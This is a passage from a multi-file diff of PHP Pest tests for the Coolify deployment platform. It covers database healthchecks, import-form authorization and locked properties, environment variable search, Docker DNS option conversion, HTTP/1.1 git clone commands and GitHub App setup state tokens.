test('upload_to_s3 exception message reports null when no previous s3 storage id exists', function () {
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => true,
's3_storage_id' => null,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => Team::factory()->create()->id,
]);
$job = new DatabaseBackupJob($backup);
$reflection = new ReflectionClass($job);
$reflection->getProperty('s3')->setValue($job, null);
expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job))
->toThrow(Exception::class, 'S3 storage ID: null');
});
test('deleting s3 storage disables s3 on linked backups', function () {
$team = Team::factory()->create();
+175
View File
@@ -0,0 +1,175 @@
<?php
use App\Livewire\Project\Database\Health;
use App\Models\StandalonePostgresql;
use Illuminate\Auth\Access\AuthorizationException;
it('defaults to an enabled healthcheck when nothing is configured', function () {
$database = new StandalonePostgresql;
expect($database->isHealthcheckEnabled())->toBeTrue();
});
it('builds the compose healthcheck block from the model timing fields', function () {
$database = new StandalonePostgresql([
'health_check_interval' => 30,
'health_check_timeout' => 7,
'health_check_retries' => 4,
'health_check_start_period' => 12,
]);
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
expect($config)->toBe([
'test' => ['CMD', 'pg_isready'],
'interval' => '30s',
'timeout' => '7s',
'retries' => 4,
'start_period' => '12s',
]);
});
it('falls back to safe defaults when timing fields are missing', function () {
$database = new StandalonePostgresql;
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
expect($config['interval'])->toBe('15s')
->and($config['timeout'])->toBe('5s')
->and($config['retries'])->toBe(5)
->and($config['start_period'])->toBe('5s');
});
it('reports the healthcheck as disabled when the flag is false', function () {
$database = new StandalonePostgresql(['health_check_enabled' => false]);
expect($database->isHealthcheckEnabled())->toBeFalse();
});
it('uses distinct hash fragments for ambiguous healthcheck values', function () {
$enabledDatabase = new StandalonePostgresql([
'health_check_enabled' => true,
'health_check_interval' => 5,
'health_check_timeout' => 5,
'health_check_retries' => 5,
'health_check_start_period' => 5,
]);
$disabledDatabase = new StandalonePostgresql([
'health_check_enabled' => false,
'health_check_interval' => 15,
'health_check_timeout' => 5,
'health_check_retries' => 5,
'health_check_start_period' => 5,
]);
$getHashFragment = function () {
return $this->healthCheckConfigurationHash();
};
expect($getHashFragment->call($enabledDatabase))
->toBe('1|5|5|5|5')
->not->toBe($getHashFragment->call($disabledDatabase))
->and($getHashFragment->call($disabledDatabase))->toBe('0|15|5|5|5');
});
it('does not mark configuration changed when health update authorization fails', function () {
$database = new class
{
public ?string $config_hash = null;
public int $configurationChangedChecks = 0;
public function isConfigurationChanged(bool $save = false): bool
{
$this->configurationChangedChecks++;
return true;
}
};
$component = new class extends Health
{
public array $dispatchedEvents = [];
public function authorize($ability, $arguments = [])
{
throw new AuthorizationException('This action is unauthorized.');
}
public function dispatch($event, ...$params)
{
$this->dispatchedEvents[] = $event;
return null;
}
};
$component->database = $database;
$component->submit();
expect($database->configurationChangedChecks)->toBe(0)
->and($component->dispatchedEvents)->toBe(['error']);
});
it('toggles database healthcheck and marks configuration changed', function () {
$database = new class
{
public ?string $config_hash = 'existing';
public bool $health_check_enabled = false;
public int $health_check_interval = 15;
public int $health_check_timeout = 5;
public int $health_check_retries = 5;
public int $health_check_start_period = 5;
public int $saveCalls = 0;
public function save(): void
{
$this->saveCalls++;
}
};
$component = new class extends Health
{
public array $dispatchedEvents = [];
public function authorize($ability, $arguments = [])
{
return true;
}
public function dispatch($event, ...$params)
{
$this->dispatchedEvents[] = $event;
return null;
}
public function syncData(bool $toModel = false): void
{
if ($toModel) {
$this->database->health_check_enabled = $this->healthCheckEnabled;
$this->database->save();
}
}
};
$component->database = $database;
$component->healthCheckEnabled = false;
$component->healthCheckInterval = 15;
$component->healthCheckTimeout = 5;
$component->healthCheckRetries = 5;
$component->healthCheckStartPeriod = 5;
$component->toggleHealthcheck();
expect($database->health_check_enabled)->toBeTrue()
->and($database->saveCalls)->toBe(1)
->and($component->dispatchedEvents)->toBe(['success', 'configurationChanged']);
});
@@ -1,7 +1,8 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Livewire\Project\Database\ImportForm;
use App\Support\ValidationPatterns;
use Livewire\Attributes\Locked;
describe('container name validation', function () {
test('isValidContainerName accepts valid container names', function () {
@@ -45,43 +46,43 @@ describe('container name validation', function () {
describe('locked properties', function () {
test('container property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'container');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'container');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('serverId property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'serverId');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'serverId');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceId property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceId');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceId');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceType property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceType');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceType');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceUuid property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceUuid');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceUuid');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
test('resourceDbType property has Locked attribute', function () {
$property = new ReflectionProperty(Import::class, 'resourceDbType');
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
$property = new ReflectionProperty(ImportForm::class, 'resourceDbType');
$attributes = $property->getAttributes(Locked::class);
expect($attributes)->not->toBeEmpty();
});
@@ -89,7 +90,7 @@ describe('locked properties', function () {
describe('server method uses team scoping', function () {
test('server computed property calls ownedByCurrentTeam', function () {
$method = new ReflectionMethod(Import::class, 'server');
$method = new ReflectionMethod(ImportForm::class, 'server');
// Extract the server method body
$startLine = $method->getStartLine();
@@ -102,9 +103,9 @@ describe('server method uses team scoping', function () {
});
});
describe('Import component uses shared ValidationPatterns', function () {
describe('ImportForm component uses shared ValidationPatterns', function () {
test('runImport references ValidationPatterns for container validation', function () {
$method = new ReflectionMethod(Import::class, 'runImport');
$method = new ReflectionMethod(ImportForm::class, 'runImport');
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
@@ -114,7 +115,7 @@ describe('Import component uses shared ValidationPatterns', function () {
});
test('restoreFromS3 references ValidationPatterns for container validation', function () {
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
$method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
$startLine = $method->getStartLine();
$endLine = $method->getEndLine();
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
@@ -0,0 +1,20 @@
<?php
it('declares explicit authorization on database import form controls', function () {
$view = file_get_contents(resource_path('views/livewire/project/database/import-form.blade.php'));
preg_match_all(
'/<x-forms\.(button|input|select|checkbox|textarea)\b[^>]*>/s',
$view,
$matches,
PREG_OFFSET_CAPTURE
);
$missingAuthorization = collect($matches[0])
->filter(fn (array $match): bool => ! str_contains($match[0], 'canGate=') || ! str_contains($match[0], 'canResource='))
->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
->values()
->all();
expect($missingAuthorization)->toBeEmpty();
});
+223 -11
View File
@@ -1,17 +1,37 @@
<?php
use App\Livewire\Project\Application\Configuration as ApplicationConfiguration;
use App\Livewire\Project\Application\ServerStatusBadge;
use App\Livewire\Project\Database\Clickhouse\General as ClickhouseGeneral;
use App\Livewire\Project\Database\Clickhouse\StatusInfo as ClickhouseStatusInfo;
use App\Livewire\Project\Database\Dragonfly\General as DragonflyGeneral;
use App\Livewire\Project\Database\Dragonfly\StatusInfo as DragonflyStatusInfo;
use App\Livewire\Project\Database\Import as DatabaseImport;
use App\Livewire\Project\Database\ImportForm as DatabaseImportForm;
use App\Livewire\Project\Database\Keydb\General as KeydbGeneral;
use App\Livewire\Project\Database\Keydb\StatusInfo as KeydbStatusInfo;
use App\Livewire\Project\Database\Mariadb\General as MariadbGeneral;
use App\Livewire\Project\Database\Mariadb\StatusInfo as MariadbStatusInfo;
use App\Livewire\Project\Database\Mongodb\General as MongodbGeneral;
use App\Livewire\Project\Database\Mongodb\StatusInfo as MongodbStatusInfo;
use App\Livewire\Project\Database\Mysql\General as MysqlGeneral;
use App\Livewire\Project\Database\Mysql\StatusInfo as MysqlStatusInfo;
use App\Livewire\Project\Database\Postgresql\General as PostgresqlGeneral;
use App\Livewire\Project\Database\Postgresql\StatusInfo as PostgresqlStatusInfo;
use App\Livewire\Project\Database\Redis\General as RedisGeneral;
use App\Livewire\Project\Database\Redis\StatusInfo as RedisStatusInfo;
use App\Livewire\Project\Service\Configuration as ServiceConfiguration;
use App\Livewire\Project\Service\ResourceCard as ServiceResourceCard;
use App\Livewire\Server\Sentinel;
use App\Livewire\Server\Show;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\StandaloneDocker;
use App\Models\StandaloneMysql;
use App\Models\StandaloneRedis;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
@@ -28,25 +48,159 @@ beforeEach(function () {
session(['currentTeam' => $this->team]);
});
dataset('ssl-aware-database-general-components', [
dataset('database-general-forms-without-broadcasts', [
// Status-derived display moved into a sibling StatusInfo component for each DB,
// so the form itself takes no broadcast listeners and cannot clobber wire:dirty
// by absorbing deferred wire:model values during a status-triggered roundtrip.
RedisGeneral::class,
PostgresqlGeneral::class,
MysqlGeneral::class,
MariadbGeneral::class,
MongodbGeneral::class,
RedisGeneral::class,
PostgresqlGeneral::class,
KeydbGeneral::class,
DragonflyGeneral::class,
ClickhouseGeneral::class,
DatabaseImportForm::class,
ServiceConfiguration::class,
ApplicationConfiguration::class,
]);
it('maps database status broadcasts to refresh for ssl-aware database general components', function (string $componentClass) {
$component = app($componentClass);
$listeners = $component->getListeners();
dataset('database-status-info-components', [
RedisStatusInfo::class,
PostgresqlStatusInfo::class,
MysqlStatusInfo::class,
MariadbStatusInfo::class,
MongodbStatusInfo::class,
KeydbStatusInfo::class,
DragonflyStatusInfo::class,
ClickhouseStatusInfo::class,
]);
expect($listeners["echo-private:user.{$this->user->id},DatabaseStatusChanged"])->toBe('refresh')
->and($listeners["echo-private:team.{$this->team->id},ServiceChecked"])->toBe('refresh');
})->with('ssl-aware-database-general-components');
dataset('display-only-status-components', [
RedisStatusInfo::class,
PostgresqlStatusInfo::class,
MysqlStatusInfo::class,
MariadbStatusInfo::class,
MongodbStatusInfo::class,
KeydbStatusInfo::class,
DragonflyStatusInfo::class,
ClickhouseStatusInfo::class,
DatabaseImport::class,
ServiceResourceCard::class,
ServerStatusBadge::class,
]);
it('reloads the mysql database model when refreshing so ssl controls follow the latest status', function () {
it('does not subscribe the form to status broadcasts when display lives in a sibling', function (string $componentClass) {
// Regression guard for coolify#6062 / #6354 / #9695:
// Status broadcasts on the form would trigger a Livewire roundtrip that absorbs
// deferred wire:model values into the snapshot — clobbering both the typed text
// (resolved by the earlier refreshStatus fix) and the wire:dirty indicator.
$listeners = resolveLivewireListeners(app($componentClass));
expect($listeners)
->not->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked")
->not->toHaveKey("echo-private:team.{$this->team->id},ServiceStatusChanged");
})->with('database-general-forms-without-broadcasts');
/**
* Resolve a Livewire component's listeners regardless of whether the subclass
* exposes getListeners() publicly or only declares a $listeners array — the
* HandlesEvents trait keeps getListeners() protected by default.
*/
function resolveLivewireListeners(object $component): array
{
$method = new ReflectionMethod($component, 'getListeners');
$method->setAccessible(true);
return (array) $method->invoke($component);
}
it('auto-refreshes status-info sibling on database status broadcasts', function (string $componentClass) {
// Status-derived display (connection URLs, SSL gate hint, cert expiry) lives in a sibling
// Livewire component so it can re-render on broadcasts without touching the form's DOM.
$listeners = resolveLivewireListeners(app($componentClass));
expect($listeners)
->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged")
->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked");
})->with('database-status-info-components');
it('keeps realtime status listeners on display-only components instead of form owners', function (string $componentClass) {
$listeners = resolveLivewireListeners(app($componentClass));
expect($listeners)->not->toBeEmpty();
})->with('display-only-status-components');
it('refreshes a service resource card without refreshing the service configuration form owner', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$service = Service::create([
'name' => 'status-card-service',
'environment_id' => $environment->id,
'server_id' => $server->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
'docker_compose_raw' => 'services: {}',
]);
$serviceApplication = ServiceApplication::create([
'service_id' => $service->id,
'name' => 'web',
'image' => 'nginx:latest',
'status' => 'exited:unhealthy',
]);
$parameters = [
'project_uuid' => $project->uuid,
'environment_uuid' => $environment->uuid,
'service_uuid' => $service->uuid,
];
$component = Livewire::test(ServiceResourceCard::class, [
'service' => $service,
'resource' => $serviceApplication,
'parameters' => $parameters,
]);
$serviceApplication->fill(['status' => 'running:healthy'])->save();
$component->call('refreshResource');
expect($component->instance()->resource->status)->toBe('running:healthy');
});
it('refreshes database import status from stored resource identity after the route context is gone', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandaloneMysql::create([
'name' => 'import-status-mysql',
'image' => 'mysql:8',
'mysql_root_password' => 'password',
'mysql_user' => 'coolify',
'mysql_password' => 'password',
'mysql_database' => 'coolify',
'status' => 'exited:unhealthy',
'is_log_drain_enabled' => false,
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
$component = app(DatabaseImport::class);
$component->resourceId = $database->id;
$component->resourceType = StandaloneMysql::class;
$database->fill(['status' => 'running:healthy'])->save();
$component->refreshStatus();
expect($component->resourceStatus)->toBe('running:healthy');
});
it('reloads the mysql status-info model when refresh is called so ssl controls follow the latest status', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
@@ -67,7 +221,65 @@ it('reloads the mysql database model when refreshing so ssl controls follow the
'destination_type' => $destination->getMorphClass(),
]);
$component = Livewire::test(MysqlGeneral::class, ['database' => $database])
$component = Livewire::test(MysqlStatusInfo::class, ['database' => $database])
->assertDontSee('Database should be stopped to change this settings.');
$database->fill(['status' => 'running:healthy'])->save();
$component->call('refresh')
->assertSee('Database should be stopped to change this settings.');
});
it('does not clobber server form text inputs when sentinel restarts', function () {
$server = Server::factory()->create([
'team_id' => $this->team->id,
'name' => 'persisted-server-name',
]);
$component = Livewire::test(Sentinel::class, ['server_uuid' => $server->uuid])
->set('sentinelToken', 'user-was-typing-this-token');
$component->call('handleSentinelRestarted', ['serverUuid' => $server->uuid]);
expect($component->get('sentinelToken'))->toBe('user-was-typing-this-token');
});
it('does not clobber server form text inputs when server validation completes', function () {
$server = Server::factory()->create([
'team_id' => $this->team->id,
'name' => 'persisted-server-name',
]);
$component = Livewire::test(Show::class, ['server_uuid' => $server->uuid])
->set('name', 'user-was-typing-here')
->set('ip', '203.0.113.42');
$component->call('handleServerValidated', ['serverUuid' => $server->uuid]);
expect($component->get('name'))->toBe('user-was-typing-here')
->and($component->get('ip'))->toBe('203.0.113.42');
});
it('shows the redis ssl gate hint after the sibling is refreshed', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandaloneRedis::create([
'name' => 'test-redis',
'image' => 'redis:7',
'redis_password' => 'password',
'redis_username' => 'default',
'status' => 'exited:unhealthy',
'enable_ssl' => true,
'is_log_drain_enabled' => false,
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
$component = Livewire::test(RedisStatusInfo::class, ['database' => $database])
->assertDontSee('Database should be stopped to change this settings.');
$database->fill(['status' => 'running:healthy'])->save();
@@ -46,6 +46,24 @@ test('ConvertIp', function () {
]);
});
test('ConvertDns', function () {
$input = '--dns 10.0.0.10 --dns=1.1.1.1';
$output = convertDockerRunToCompose($input);
expect($output)->toBe([
'dns' => ['10.0.0.10', '1.1.1.1'],
]);
});
test('ConvertDnsWithOtherOptions', function () {
$input = '--cap-add=NET_ADMIN --dns 10.0.0.10 --init';
$output = convertDockerRunToCompose($input);
expect($output)->toBe([
'cap_add' => ['NET_ADMIN'],
'dns' => ['10.0.0.10'],
'init' => true,
]);
});
test('ConvertPrivilegedAndInit', function () {
$input = '---privileged --init';
$output = convertDockerRunToCompose($input);
@@ -29,3 +29,28 @@ it('uses sans font for the developer bulk environment variable editor', function
->not->toContain('wire:model="variables" monospace')
->not->toContain('wire:model="variablesPreview" monospace');
});
it('renders the environment variable search field above the production title', function () {
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));
expect(strpos($view, 'aria-label="Search environment variables"'))
->toBeLessThan(strpos($view, '<h3>Production Environment Variables</h3>'));
});
it('renders a single no results message for empty environment variable searches', function () {
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));
expect($view)
->toContain('@if ($this->isSearchActive && ! $this->hasEnvironmentVariables)')
->toContain('<div>No environment variables found.</div>')
->toContain('@else');
});
it('only renders the production section when production variables are visible', function () {
$view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));
expect($view)
->toContain('@if ($this->environmentVariables->isNotEmpty() || $this->hardcodedEnvironmentVariables->isNotEmpty())')
->not->toContain('@forelse ($this->environmentVariables as $env)')
->not->toContain('@empty');
});
@@ -0,0 +1,251 @@
<?php
use App\Livewire\Project\Shared\EnvironmentVariable\All;
use App\Models\Application;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Service;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::forceCreate(['id' => 0]);
$this->user = User::factory()->create();
$this->team = Team::factory()->create();
$this->team->members()->attach($this->user, ['role' => 'owner']);
$this->project = Project::factory()->create([
'team_id' => $this->team->id,
]);
$this->environment = Environment::factory()->create([
'project_id' => $this->project->id,
]);
$this->actingAs($this->user);
});
it('filters production environment variables by key case-insensitively', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
]);
EnvironmentVariable::create([
'key' => 'API_KEY',
'value' => 'secret',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
EnvironmentVariable::create([
'key' => 'DATABASE_URL',
'value' => 'postgres://example',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
$component = Livewire::test(All::class, ['resource' => $application])
->set('search', 'api');
expect($component->instance()->environmentVariables->pluck('key')->all())
->toBe(['API_KEY']);
});
it('treats production environment variable search wildcards literally', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
]);
EnvironmentVariable::create([
'key' => 'API_KEY',
'value' => 'secret',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
EnvironmentVariable::create([
'key' => 'APIXKEY',
'value' => 'other-secret',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
EnvironmentVariable::create([
'key' => 'PERCENT%KEY',
'value' => 'percent-secret',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
$component = Livewire::test(All::class, ['resource' => $application])
->set('search', 'api_key');
expect($component->instance()->environmentVariables->pluck('key')->all())
->toBe(['API_KEY']);
$component->set('search', '%KEY');
expect($component->instance()->environmentVariables->pluck('key')->all())
->toBe(['PERCENT%KEY']);
});
it('filters preview environment variables by key case-insensitively', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
]);
EnvironmentVariable::create([
'key' => 'PREVIEW_TOKEN',
'value' => 'preview-secret',
'is_preview' => true,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
EnvironmentVariable::create([
'key' => 'OTHER_PREVIEW_VALUE',
'value' => 'preview-other',
'is_preview' => true,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
$component = Livewire::test(All::class, ['resource' => $application])
->set('search', 'token');
expect($component->instance()->environmentVariablesPreview->pluck('key')->all())
->toBe(['PREVIEW_TOKEN']);
});
it('filters hardcoded Docker Compose environment variables by key case-insensitively', function () {
$service = Service::factory()->create([
'environment_id' => $this->environment->id,
'docker_compose_raw' => <<<'YAML'
services:
app:
image: nginx
environment:
API_TOKEN: hardcoded-secret
DATABASE_URL: postgres://example
YAML,
]);
$component = Livewire::test(All::class, ['resource' => $service])
->set('search', 'api');
expect($component->instance()->hardcodedEnvironmentVariables->pluck('key')->all())
->toBe(['API_TOKEN']);
});
it('does not show the empty production message when search only matches hardcoded variables', function () {
$service = Service::factory()->create([
'environment_id' => $this->environment->id,
'docker_compose_raw' => <<<'YAML'
services:
app:
image: nginx
environment:
API_TOKEN: hardcoded-secret
DATABASE_URL: postgres://example
YAML,
]);
Livewire::test(All::class, ['resource' => $service])
->set('search', 'api')
->assertSee('Production Environment Variables')
->assertSee('API_TOKEN')
->assertDontSee('No environment variables found.');
});
it('keeps developer view unfiltered after searching', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
]);
EnvironmentVariable::create([
'key' => 'API_KEY',
'value' => 'secret',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
EnvironmentVariable::create([
'key' => 'DATABASE_URL',
'value' => 'postgres://example',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
$component = Livewire::test(All::class, ['resource' => $application])
->set('search', 'api')
->call('switch')
->assertSet('view', 'dev');
expect($component->get('variables'))
->toContain('API_KEY=secret')
->toContain('DATABASE_URL=postgres://example');
});
it('does not delete non-matching variables when saving developer view after searching', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
]);
EnvironmentVariable::create([
'key' => 'API_KEY',
'value' => 'secret',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
EnvironmentVariable::create([
'key' => 'DATABASE_URL',
'value' => 'postgres://example',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
Livewire::test(All::class, ['resource' => $application])
->set('search', 'api')
->call('switch')
->call('submit');
expect($application->environment_variables()->pluck('key')->all())
->toContain('API_KEY')
->toContain('DATABASE_URL');
});
it('hides the preview section when search filters out all preview variables', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
]);
EnvironmentVariable::create([
'key' => 'API_KEY',
'value' => 'secret',
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
$application->environment_variables_preview()->where('key', 'API_KEY')->delete();
EnvironmentVariable::create([
'key' => 'PREVIEW_TOKEN',
'value' => 'preview-secret',
'is_preview' => true,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
Livewire::test(All::class, ['resource' => $application])
->set('search', 'api')
->assertSee('Production Environment Variables')
->assertSee('API_KEY')
->assertDontSee('Preview Deployments Environment Variables')
->assertDontSee('PREVIEW_TOKEN');
});
@@ -0,0 +1,136 @@
<?php
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\GithubApp;
use App\Models\PrivateKey;
function applicationWithGitSettings(bool $shallow = true): Application
{
$application = new Application;
$application->forceFill([
'uuid' => 'test-app-uuid',
'git_repository' => 'coollabsio/private-app',
'git_branch' => 'main',
'git_commit_sha' => 'HEAD',
]);
$settings = new ApplicationSetting;
$settings->is_git_shallow_clone_enabled = $shallow;
$settings->is_git_submodules_enabled = false;
$settings->is_git_lfs_enabled = false;
$application->setRelation('settings', $settings);
return $application;
}
it('uses http 1 transport for public https source clones', function () {
$application = applicationWithGitSettings();
$source = new GithubApp;
$source->forceFill([
'html_url' => 'https://github.com',
'api_url' => 'https://api.github.com',
'is_public' => true,
]);
$application->setRelation('source', $source);
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-deployment',
exec_in_docker: false,
);
expect($result['commands'])
->toContain("git -c http.version=HTTP/1.1 clone --depth=1 -b 'main' 'https://github.com/coollabsio/private-app' '/artifacts/test-deployment'")
->not->toContain('Primary repository import failed, retrying with HTTP/1.1')
->not->toContain('mktemp')
->not->toContain('git_retry_dir');
});
it('applies http 1 transport to https fetches after clone', function () {
$application = applicationWithGitSettings();
$application->git_commit_sha = 'abc123def456abc123def456abc123def456abc1';
$source = new GithubApp;
$source->forceFill([
'html_url' => 'https://github.com',
'api_url' => 'https://api.github.com',
'is_public' => true,
]);
$application->setRelation('source', $source);
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-deployment',
exec_in_docker: false,
);
expect($result['commands'])
->toContain("git -c http.version=HTTP/1.1 fetch --depth=1 origin 'abc123def456abc123def456abc123def456abc1'")
->toContain("git -c http.version=HTTP/1.1 -c advice.detachedHead=false checkout 'abc123def456abc123def456abc123def456abc1'");
});
it('does not add http transport config to ssh deploy key clones', function () {
$application = applicationWithGitSettings();
$application->private_key_id = 1;
$application->setRelation('private_key', new class extends PrivateKey
{
public function getAttribute($key)
{
if ($key === 'private_key') {
return 'fake-private-key';
}
return parent::getAttribute($key);
}
});
$application->git_repository = 'git@github.com:coollabsio/private-app.git';
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-deployment',
exec_in_docker: false,
);
expect($result['commands'])
->not->toContain('http.version=HTTP/1.1')
->not->toContain('Primary repository import failed, retrying with HTTP/1.1');
});
it('supports dedicated checkout directories for compose file loading', function () {
$application = applicationWithGitSettings();
$source = new GithubApp;
$source->forceFill([
'html_url' => 'https://github.com',
'api_url' => 'https://api.github.com',
'is_public' => true,
]);
$application->setRelation('source', $source);
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-deployment',
only_checkout: true,
exec_in_docker: false,
custom_base_dir: 'checkout',
);
expect($result['commands'])
->toContain("git -c http.version=HTTP/1.1 clone --depth=1 --no-checkout -b 'main' 'https://github.com/coollabsio/private-app' 'checkout'")
->not->toContain('mktemp')
->not->toContain('git_retry_dir');
});
it('applies http 1 transport to custom bitbucket pull request checkout', function () {
$application = applicationWithGitSettings();
$application->git_repository = 'https://bitbucket.org/coollabsio/private-app.git';
$result = $application->generateGitImportCommands(
deployment_uuid: 'test-deployment',
pull_request_id: 123,
git_type: 'bitbucket',
exec_in_docker: false,
commit: 'abc123def456abc123def456abc123def456abc1',
);
expect($result['commands'])
->toContain("git -c http.version=HTTP/1.1 checkout 'abc123def456abc123def456abc123def456abc1'");
});
+124
View File
@@ -7,6 +7,8 @@ use App\Models\PrivateKey;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Livewire\Livewire;
uses(RefreshDatabase::class);
@@ -84,6 +86,67 @@ describe('GitHub Source Change Component', function () {
->assertSet('privateKeyId', null);
});
test('creates one-time states for manifest conversion and installation callbacks', function () {
$githubApp = GithubApp::create([
'name' => 'Test GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'team_id' => $this->team->id,
'is_system_wide' => false,
]);
$component = Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
->test(Change::class)
->assertSuccessful();
$manifestState = $component->get('manifestState');
$installationUrl = getInstallationPath($githubApp);
parse_str(parse_url($installationUrl, PHP_URL_QUERY), $query);
$installState = $query['state'] ?? null;
expect($manifestState)->not->toBeEmpty()
->and($installState)->not->toBeEmpty()
->and($installState)->not->toBe($manifestState)
->and($installationUrl)->not->toContain($githubApp->uuid)
->and(Cache::get('github-app-setup-state:'.hash('sha256', $manifestState)))
->toMatchArray([
'action' => 'manifest',
'github_app_id' => $githubApp->id,
'team_id' => $githubApp->team_id,
])
->and(Cache::get('github-app-setup-state:'.hash('sha256', $installState)))
->toMatchArray([
'action' => 'install',
'github_app_id' => $githubApp->id,
'team_id' => $githubApp->team_id,
]);
});
test('installation path is generated from the provided github app instance', function () {
$githubApp = new GithubApp;
$githubApp->forceFill([
'id' => 123,
'name' => 'Provided GitHub App',
'html_url' => 'https://github.example.com',
'team_id' => 456,
]);
$installationUrl = getInstallationPath($githubApp);
parse_str(parse_url($installationUrl, PHP_URL_QUERY), $query);
$installState = $query['state'] ?? null;
expect($installationUrl)->toStartWith('https://github.example.com/github-apps/provided-git-hub-app/installations/new?')
->and($installState)->not->toBeEmpty()
->and(Cache::get('github-app-setup-state:'.hash('sha256', $installState)))
->toMatchArray([
'action' => 'install',
'github_app_id' => 123,
'team_id' => 456,
]);
});
test('defaults webhook endpoint to app url when it is the first available endpoint', function () {
config(['app.url' => 'http://localhost:8000']);
